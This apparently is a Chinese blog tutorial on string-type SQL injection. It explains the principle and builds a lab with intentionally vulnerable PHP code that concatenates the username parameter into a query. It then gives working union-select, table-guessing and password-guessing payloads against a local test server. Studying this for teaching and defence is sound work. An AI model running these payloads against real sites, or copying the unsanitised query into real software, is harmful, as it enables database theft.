SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意的)SQL命令注入到后台數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。 比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊。
完整筆記地址:https://www.cnblogs.com/LyShark/p/10632263.html
Web安全筆記:https://www.cnblogs.com/LyShark/category/1418348.html
什么是字符型注入以及原理
1)字符型注入簡介:
字符串或串(String)是由數字、字母、下划線組成的一串字符。一般記為 s=“a1 a2 ···an ” (n>=0)。它是編程語言中表示文本的數據類型。
字符型注入就是把輸入的參數當做字符串來對數據庫進行查詢,字符型注入在sql語句中都采用單引號括起來。
2)基本原理:
我們看看下面這條SQL語句:
$query="select first_name from users where id='$_GET['id']'";
這句SQL的語句就是基於用戶輸入的id在users表中找到相應的first_name,正常用戶當然會輸入例如1,2等等。但是如果有人輸入這樣的內容呢?
1' union select database() #;
這樣的話這句SQL語句就變成了這樣:
select first_name from users where id='1'union select database()#'
這樣的話,我們不僅可以得到id=1的first_name,還可以得到當前數據庫的相關信息,這是開發人員所沒有想到的。以上只是一個簡單的SQL注入的例子。
從根本上講,當開發人員對用戶的輸入過濾不嚴,造成了用戶可以通過輸入SQL語句控制數據庫,就會產生SQL注入漏洞。
簡而言之,基於字符型的SQL注入即存在SQL注入漏洞的URL參數為字符串類型(需要使用單引號表示)。
字符型SQL注入的關鍵—–單引號的閉合
MySQL數據庫對於單引號的規則如下:
a. 單引號必須成對出現,否則數據庫就會報錯。
b. 如果兩個單引號之間內容為空,數據庫自動忽略。
應用程序數據庫的字符型SQL語句為:
select * from tables where idproduct=’ 13’; select * from tables where name=’ fendo’; select * from tables where data=’ 01/01/2017’;
字符型注入與數字型注入的區別
字符:除數字之外都是字符
數字:0-9
兩種SQL語句的區別:
數字型: SELECT 列 FROM 表 WHERE 數字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=‘值’
字符型注入實戰
構建練習環境
a.測試源碼,放入/var/www/html/index.php目錄下
<?php $name=$_GET['username']; $conn=mysql_connect("127.0.0.1","root","123");//連接mysql數據庫 if($conn){ echo "連接數據庫成功!"; }//判斷連接是否成功 echo "<br>"; mysql_select_db('fendo',$conn);//選擇連接請求為conn的數據庫(fendo) $sql="select * from user where username = '$name'"; //字符型搜索語句 $result=mysql_query($sql); while($row = mysql_fetch_array($result)){ echo "用戶ID:".$row['id']."<br >"; echo "用戶名:".$row['username']."<br >"; echo "用戶密碼:".$row['password']."<br >"; echo "用戶郵箱:".$row['email']."<br >"; } mysql_close($conn); //關閉數據庫連接 echo "<hr>"; echo "你當前執行的sql語句為:"."<br >"; echo $sql; ?>
b.創建數據表結構如下.
[root@localhost html]# mysql -uroot -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 61 Server version: 5.5.56-MariaDB MariaDB Server Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> create database fendo; Query OK, 1 row affected (0.00 sec) MariaDB [(none)]> use fendo; Database changed MariaDB [fendo]> create table user( -> id int not null, -> username varchar(100) not null, -> password varchar(100) not null, -> email varchar(200) not null -> ); Query OK, 0 rows affected (0.07 sec) MariaDB [fendo]> MariaDB [fendo]> insert into user(id,username,password,email) values(1,'admin','fendo','1181506874@qq.com'); Query OK, 1 row affected (0.00 sec) MariaDB [fendo]> insert into user(id,username,password,email) values(2,'lyshark','good','1181506874@qq.com'); Query OK, 1 row affected (0.10 sec) MariaDB [fendo]> insert into user(id,username,password,email) values(3,'guest','goods','1181506874@qq.com'); Query OK, 1 row affected (0.00 sec) MariaDB [fendo]>
c.訪問以下網址,獲得截圖效果即可.
http://192.168.1.11/index.php?username=lyshark

猜字段數
index.php?username=lyshark' union select 1,2,3,4 and '1'='1

上圖可知,爆出1,2,3 接着更換SQL語句得出當前的數據庫名字與數據庫版本.
index.php?username=lyshark' union select database(),version(),3,4 and '1'='1

上圖可以清楚的看到,我們的數據庫版本,和數據庫名稱已經被脫褲子了.
猜表名
獲取表名使用 '+and+(select+count( * )+from+表名)>0+and+''=' 這種格式。
index.php?username=lyshark'+and+(select+count( * )+from+user)>0+and+''='

上圖可以看到,並沒報錯,說明存在user這個表。
猜密碼
index.php?username=admin' and password='fendo

上圖沒報錯,說明密碼正確
